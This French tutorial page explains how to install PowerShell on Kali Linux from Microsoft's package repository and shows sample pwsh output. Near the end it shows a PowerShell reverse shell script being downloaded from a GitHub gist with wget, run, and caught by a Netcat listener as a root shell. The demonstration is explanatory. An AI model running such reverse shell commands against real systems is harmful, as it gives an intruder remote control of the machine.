GNU/Linux >> Tutoriels Linux >  >> Linux

Installation de PowerShell sur Kali Linux

MISE À JOUR NOV 2019

Ce message est obsolète depuis 2019, car powershell a été ajouté aux référentiels principaux. Faites simplement :

apt update && apt -y install powershell

Et vous aurez powershell sur votre système.

Ancien message

Vous savez peut-être déjà que vous pouvez ajouter en toute sécurité des référentiels externes à votre installation Kali Linux, mais vous ne savez peut-être pas que l'un des nombreux référentiels disponibles en ligne en inclut un de Microsoft qui inclut PowerShell. Le référentiel est pour Debian mais ses packages s'installent parfaitement sur Kali, comme nous le montrerons dans cet article.

Installation du package PowerShell dans Kali

Nous commençons par installer les dépendances nécessaires, dont la plupart devraient déjà être installées dans votre installation Kali par défaut.

apt update && apt -y install curl gnupg apt-transport-https

Ensuite, nous devons télécharger et ajouter la clé GPG du référentiel public afin qu'APT fasse confiance aux packages et vous alerte en cas de problème avec les signatures de packages.

curl https://packages.microsoft.com/keys/microsoft.asc | apt-key add -

Avec la clé GPG ajoutée, nous procédons à l'ajout du référentiel de packages Microsoft à son propre fichier de liste de packages sous /etc/apt/sources.list.d/ et mettre à jour la liste des packages disponibles.

echo "deb [arch=amd64] https://packages.microsoft.com/repos/microsoft-debian-stretch-prod stretch main" > /etc/apt/sources.list.d/powershell.list
apt update

Enfin, nous procédons à l'installation du package powershell.

apt -y install powershell

Exécuter PowerShell

Une fois l'installation du package terminée, exécutez pwsh démarrera PowerShell, nous présentant l'invite "PS" familière.

[email protected]:~# pwsh
PowerShell v6.1.0-preview.2
Copyright (c) Microsoft Corporation. All rights reserved.

https://aka.ms/pscore6-docs
Type 'help' to get help.

PS /root>

Si vous débutez avec PowerShell, l'une des premières choses que vous voudrez probablement faire est de mettre à jour l'aide intégrée, ce qui peut être fait en exécutant le Update-Help Applet de commande. Cela peut prendre un peu de temps, mais ne doit être exécuté qu'une fois de temps en temps.

PS /root> Update-Help
Updating Help for module Microsoft.PowerShell.Utility
Locating Help Content...

Comme vous vous en doutez, vous ne trouverez pas toutes les commandes auxquelles vous êtes habitué lorsque vous utilisez PowerShell sous Windows, mais tous les modules de base sont présents et le code est en constante évolution et amélioration.

PS /root> Get-Process -Name gnome*

NPM(K) PM(M) WS(M) CPU(s) Id SI ProcessName
------ ----- ----- ------ -- -- -----------
0 0.00 5.71 0.03 1073 072 gnome-keyring-d
0 0.00 9.80 0.19 659 649 gnome-session-b
0 0.00 13.72 0.36 1089 080 gnome-session-b
0 0.00 110.06 3.36 778 649 gnome-shell
0 0.00 277.15 27.85 1170 080 gnome-shell
0 0.00 11.77 0.09 1199 075 gnome-shell-cal
0 0.00 77.79 4.58 1381 080 gnome-software
0 0.00 36.58 2.03 1646 646 gnome-terminal-

Une des choses surprenantes que vous pouvez cependant, utilisez PowerShell pour envoyer un shell inversé à un écouteur Netcat. Nous sommes tombés sur un petit shell inversé PowerShell en ligne et à notre grande surprise, il s'est connecté avec plaisir à notre auditeur.

[email protected]:~# pwsh
PowerShell v6.1.0-preview.2
Copyright (c) Microsoft Corporation. All rights reserved.

https://aka.ms/pscore6-docs
Type 'help' to get help.

PS /root> wget -q https://gist.githubusercontent.com/staaldraad/204928a6004e89553a8d3db0ce527fd5/raw/fe5f74ecfae7ec0f2d50895ecf9ab9dafe253ad4/mini-reverse.ps1
PS /root> ./mini-reverse.ps1
────────────────────────────────────────────────────────────────────────────────
[email protected]:~# nc -lvnp 413
listening on [any] 413 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 59006
id
uid=0(root) gid=0(root) groups=0(root)

uname -a
Linux kali 4.15.0-kali3-amd64 #1 SMP Debian 4.15.17-1kali1 (2018-04-25) x86_64 GNU/Linux

Nous pensons qu'il est remarquable que, non seulement Microsoft Open-source PowerShell, ils l'aient également constamment mis à jour et amélioré, et avoir un référentiel de packages public pour cela rend l'installation un jeu d'enfant.


Linux
  1. Installer VirtualBox 4.2 sur Linux Mint 14

  2. Installer Linux Mint Cinnamon dans une machine virtuelle

  3. Améliorations de l'accessibilité de Kali Linux

  4. Conséquences de la sortie de Kali Linux

  5. Version Kali Linux 2020.2 (KDE et PowerShell)

Durcissement de Kali Linux

Comment installer Kali Linux

Téléchargement Kali Linux

Configuration système requise pour Kali Linux

Kali Linux contre Parrot

Installer Kali Linux sur VirtualBox :le moyen le plus rapide et le plus sûr